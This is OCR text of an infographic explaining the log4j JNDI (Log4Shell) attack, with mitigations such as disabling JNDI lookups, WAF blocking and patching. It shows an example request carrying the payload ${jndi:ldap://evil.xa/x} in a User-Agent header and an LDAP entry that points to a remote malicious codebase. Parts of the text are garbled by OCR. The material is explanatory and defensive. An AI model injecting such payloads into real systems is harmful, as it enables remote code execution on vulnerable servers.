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The log4j JNDI Attack

and how to prevent it

An attacker inserts the JNDI lookup in a The string is passed to log4j log4j interpolates the string and
header field that is likely to be logged. for logging queries the malicious LDAP server.
s ?
GET /test HTTP/1.1 HTTP ${jndi:1ldap://evil.xa/x} ldap://evil.xa/x
Host: victim.xa
User-Agent: ${jndi:ldap://evil.xa/x} G DISABLE JNDI LOOKUPS

€ BLOCK WITH WAF
€ PATCH LOG4)

Attacker Vulnerable Server Vulnerable log4j Malicious LDAP Server
A http://victim.xa implementation Idap://evil.xa
a2
e —0— KA o— B —eo— K2
—_— - =22 € DISABLE LOG4) —|
| < (4]
€ DISABLE (5)
REMOTE m
CODEBASES l,
w S |
public class Malicious implements Serializable { dn:
e javaClassName: Malicious
static [ javaCodebase: http://evil.xa

<malicious Java code> s AR
javaSerializedData: <...>

}
The LDAP server responds with directory

JAVA deserializes (or downloads) the information that contains the malicious

malicious Java class and executes it.
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